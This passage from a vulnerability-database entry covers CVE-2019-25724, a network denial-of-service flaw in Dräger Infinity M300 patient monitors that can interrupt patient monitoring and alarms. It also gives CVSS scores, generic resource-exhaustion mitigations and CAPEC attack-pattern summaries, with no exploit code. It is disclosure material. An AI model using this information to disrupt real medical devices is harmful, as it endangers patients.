      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9492-C6V8-VJ2H

Vulnerability from github – Published: 2026-06-02 21:30 – Updated: 2026-06-03 21:30
VLAI
Details

Dräger Infinity M300 patient worn monitors with software version VG2.x and earlier contain a network-based denial of service vulnerability that allows attackers with access to the hospital or Infinity Network to repeatedly trigger device reboots until the device enters a fail state requiring manual restart. Attackers can exploit this vulnerability to cause loss of wireless network connectivity, temporary loss of patient monitoring, and interruption of alarm functionality until the device is manually recovered.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2019-25724"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-02T20:16:23Z",
    "severity": "HIGH"
  },
  "details": "Dr\u00e4ger Infinity M300 patient worn monitors with software version VG2.x and earlier contain a network-based denial of service vulnerability that allows attackers with access to the hospital or Infinity Network to repeatedly trigger device reboots until the device enters a fail state requiring manual restart. Attackers can exploit this vulnerability to cause loss of wireless network connectivity, temporary loss of patient monitoring, and interruption of alarm functionality until the device is manually recovered.",
  "id": "GHSA-9492-c6v8-vj2h",
  "modified": "2026-06-03T21:30:27Z",
  "published": "2026-06-02T21:30:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-25724"
    },
    {
      "type": "WEB",
      "url": "https://static.draeger.com/security"
    },
    {
      "type": "WEB",
      "url": "https://static.draeger.com/security/download/2019-277-02-M300-VG2x-Security-Advisory.pdf"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/dr-ger-infinity-m300-vg2-x-network-based-denial-of-service"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

Mitigation
Architecture and Design

Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.

Mitigation
Architecture and Design
  • Mitigation of resource exhaustion attacks requires that the target system either:
  • The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
  • The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
  • recognizes the attack and denies that user further access for a given amount of time, or
  • uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Architecture and Design

Ensure that protocols have specific limits of scale placed on them.

Mitigation
Implementation

Ensure that all failures in resource allocation place the system into a safe posture.

CAPEC-147: XML Ping of the Death

An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.

CAPEC-227: Sustained Client Engagement

An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.

CAPEC-492: Regular Expression Exponential Blowup

An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.